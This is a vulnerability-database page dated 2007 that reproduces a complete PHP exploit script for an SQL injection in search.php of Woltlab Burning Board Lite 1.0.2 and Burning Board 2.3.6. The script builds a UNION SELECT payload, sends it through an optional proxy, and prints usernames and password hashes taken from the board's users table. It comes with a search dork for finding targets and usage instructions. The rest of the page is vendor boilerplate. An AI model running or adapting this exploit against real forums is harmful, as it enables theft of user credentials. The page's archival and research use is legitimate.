Lucene search
K

Woltlab Burning Board <= 1.0.2, 2.3.6 search.php SQL Injection Exploit

🗓️ 18 Jan 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Woltlab Burning Board <= 1.0.2, 2.3.6 search.php SQL Injectio

Code

                                                &lt;?php

/*
###################################
# http://www.undergroundagents.de #
# coded by silent vapor           #
# [email protected]  #
###################################
*/

print_r('
--------------------------------------------------------------------------------
Woltlab Burning Board Lite &lt;= 1.0.2 GetHashes over search.php
Woltlab Burning Board &lt;= 2.3.6 GetHashes over search.php
by silent vapor ([email protected])
site: http://www.undergroundagents.de
dork: &quot;Powered by Burning Board Lite 1.0.2&quot; or
     &quot;Powered by Burning Board 2.3.6&quot;
--------------------------------------------------------------------------------
');

if ($argc&lt;3) {
   print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path boardid searchstring OPTIONS
host:             target server (ip/hostname)
path:             path to wbblite
boardid:          a boardid where you will search
searchstring:     a searchstring, that will be found in this board

Options:
 -o[prefix]:     &quot; a table prefix (default: bb1_)
 -p[port]:       &quot; a port other than 80
 -P[ip:port]:    &quot; a proxy
 -t[n]:          &quot; adjust query timeout (default: 10)

Example:
php '.$argv[0].' localhost /wbblite/ 28 avatar
 &quot;       &quot;       localhost / 29 cpu -p81 -P127.0.0.1:8080
--------------------------------------------------------------------------------
');
   die;
}

error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
 global $proxy, $host, $port, $html, $proxy_regex;
 if ($proxy=='') {
   $ock=fsockopen(gethostbyname($host),$port);
   if (!$ock) {
     echo 'No response from '.$host.':'.$port; die;
   }
 }
 else {
       $c = preg_match($proxy_regex,$proxy);
   if (!$c) {
     echo 'Not a valid proxy...';die;
   }
   $parts=explode(':',$proxy);
   echo &quot;Connecting to &quot;.$parts[0].&quot;:&quot;.$parts[1].&quot; proxy...\r\n&quot;;
   $ock=fsockopen($parts[0],$parts[1]);
   if (!$ock) {
     echo 'No response from proxy...';die;
       }
 }
 fputs($ock,$packet);
 if ($proxy=='') {
   $html='';
   while (!feof($ock)) {
     $html.=fgets($ock);
   }
 }
 else {
   $html='';
   while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
     $html.=fread($ock,1);
   }
 }
 fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$boardid=$argv[3];
$searchstring=$argv[4];

$prefix = &quot;bb1_&quot;;
$port=80;
$timeout=10;
$proxy=&quot;&quot;;

for ($i=5; $i&lt;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&quot;-p&quot;)
{
 $port=str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-P&quot;)
{
 $proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-t&quot;)
{
 $timeout=(int) str_replace(&quot;-t&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-o&quot;)
{
 $prefix=str_replace(&quot;-o&quot;,&quot;&quot;,$argv[$i]);
}
}
if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
$path .= &quot;search.php&quot;;
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$boardids=&quot;boardids%5B%5D=$boardid) UNION SELECT username,password FROM &quot;.$prefix.&quot;users WHERE 1 NOT IN (0,0&quot;;
$data = &quot;searchstring=$searchstring&amp;searchuser=&amp;name_exactly=1&amp;$boardids&amp;showposts=0&amp;searchdate=0&quot;;
$data .= &quot;&amp;beforeafter=after&amp;sortby=lastpost&amp;sortorder=desc&amp;send=send&amp;submit=Suchen&quot;;

$packet =&quot;POST &quot;.$p.&quot; HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
$packet.=&quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Cookie: wbb_userpassword=0;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
$packet.=$data;

sendpacketii($packet);

if (eregi(&quot;Database error&quot;,$html)){
   echo &quot;&lt;b&gt;vulnerable...&lt;/b&gt;&lt;br&gt;&lt;br&gt;&quot;;
   $temp1=explode(&quot;b.boardid IN (&quot;,$html);
   $temp2=explode(&quot;)&quot;,$temp1[1]);
   $temp3=explode(&quot;&amp;sid=&quot;,$temp2[0]);
   $temp4=$temp3[0];
   $temp5=explode(&quot;,&quot;,$temp4);

   for ($i=0;$i&lt;count($temp5);$i++)
   {
    if ($i%2 == 0)
     echo $temp5[$i].&quot; ( Hash: &quot;;
   else
     echo $temp5[$i].&quot;)&lt;br&gt;&quot;;
   }
}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jan 2007 00:00Current
7.1High risk
Vulners AI Score7.1
20